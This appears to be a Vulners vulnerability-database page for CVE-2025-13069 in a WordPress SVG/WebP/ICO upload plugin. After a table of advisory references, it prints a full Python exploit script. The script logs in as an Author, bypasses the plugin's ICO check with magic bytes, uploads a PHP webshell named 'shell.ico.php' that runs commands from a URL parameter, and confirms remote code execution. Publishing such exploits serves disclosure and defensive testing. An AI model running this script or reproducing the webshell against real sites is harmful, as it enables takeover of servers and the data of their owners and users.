| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2025-13069 | 18 Nov 202511:54 | – | circl | |
| WordPress plugin Enable SVG, WebP, and ICO Upload 代码问题漏洞 | 18 Nov 202500:00 | – | cnnvd | |
| CVE-2025-13069 | 18 Nov 202509:27 | – | cve | |
| CVE-2025-13069 Enable SVG, WebP, and ICO Upload <= 1.1.3 - Authenticated (Author+) Arbitrary File Upload via ICO Upload Bypass | 18 Nov 202509:27 | – | cvelist | |
| EUVD-2025-197965 | 18 Nov 202512:30 | – | euvd | |
| CVE-2025-13069 | 18 Nov 202510:15 | – | nvd | |
| WordPress Enable SVG, WebP, and ICO Upload plugin <= 1.1.2 - Authenticated (Author+) Arbitrary File Upload via ICO Upload Bypass vulnerability | 18 Nov 202504:46 | – | patchstack | |
| PT-2025-47285 | 18 Nov 202500:00 | – | ptsecurity | |
| CVE-2025-13069 | 19 Nov 202510:23 | – | redhatcve | |
| CVE-2025-13069 Enable SVG, WebP, and ICO Upload <= 1.1.3 - Authenticated (Author+) Arbitrary File Upload via ICO Upload Bypass | 18 Nov 202509:27 | – | vulnrichment |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Enable SVG, WebP & ICO Upload <= 1.1.2 - Authenticated (Author+) Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/enable-svg-webp-ico-upload/
# Software Link: https://downloads.wordpress.org/plugin/enable-svg-webp-ico-upload.1.1.2.zip
# Version: 1.1.2 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-13069
"""
Enable SVG, WebP & ICO Upload <= 1.1.2 lets an authenticated Author (cap upload_files) upload a
PHP webshell. The `upload_ico_files` filter (includes/class-ico.php) accepts ANY file whose name
merely CONTAINS '.ico' and whose first 4 bytes are the ICO magic (\\x00\\x00\\x01\\x00), returning
ext='ico'/type='image/x-icon' — but WordPress saves the file under its real name. Uploading
`shell.ico.php` (magic bytes + PHP) therefore lands an executable .php in wp-content/uploads.
Prior state: a logged-in Author account (created by the site; here lp_author / Passw0rd!123).
Usage:
python3 CVE-2025-13069_svg-ico-upload.py --target http://localhost:8090 --user lp_author --pass 'Passw0rd!123' --cmd id
"""
import argparse, re, sys
import requests
requests.packages.urllib3.disable_warnings()
TOKEN = "SVGICO_PWNED_13069"
PAYLOAD = b"\x00\x00\x01\x00<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOKEN.encode()
def login(s, base, user, pw):
s.get(base + "/wp-login.php")
s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
s.post(base + "/wp-login.php",
data={"log": user, "pwd": pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
return any("wordpress_logged_in" in c.name for c in s.cookies)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--user", default="lp_author")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
ap.add_argument("--cmd", default="id")
ap.add_argument("--name", default="shell.ico.php")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
print(f"[*] Target: {base}")
if not login(s, base, args.user, args.pw):
print(f"[-] Login failed for {args.user}"); return 1
print(f"[+] Logged in as {args.user}")
# media-form nonce for the async uploader
html = s.get(base + "/wp-admin/media-new.php").text
m = re.search(r'"_wpnonce":"([a-f0-9]+)"', html) or re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', html)
nonce = m.group(1) if m else None
print(f"[*] media-form nonce: {nonce}")
files = {"async-upload": (args.name, PAYLOAD, "image/x-icon")}
data = {"action": "upload-attachment", "_wpnonce": nonce, "name": args.name}
r = s.post(base + "/wp-admin/admin-ajax.php", files=files, data=data, timeout=30)
print(f"[*] upload-attachment -> HTTP {r.status_code} :: {r.text[:200]}")
url = None
mm = re.search(r'"url":"([^"]+?%s[^"]*)"' % re.escape(args.name.replace(".", "\\/")), r.text) \
or re.search(r'"url":"(https?:\\?/\\?/[^"]+\.php)"', r.text)
if mm:
url = mm.group(1).replace("\\/", "/")
if not url:
# fall back to the standard uploads path
import datetime
now = datetime.datetime.now(datetime.timezone.utc)
url = f"{base}/wp-content/uploads/{now.year}/{now.month:02d}/{args.name}"
print(f"[*] Webshell URL: {url}")
rr = s.get(url, params={"c": args.cmd}, timeout=15)
if TOKEN in rr.text:
out = rr.text.split(TOKEN + ":", 1)[1].strip()
print(f"\n[+] RCE CONFIRMED (authenticated Author arbitrary file upload).")
print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{out}\n{'-'*50}")
return 0
print(f"\n[-] Could not confirm. Response: {rr.text[:160]}")
return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation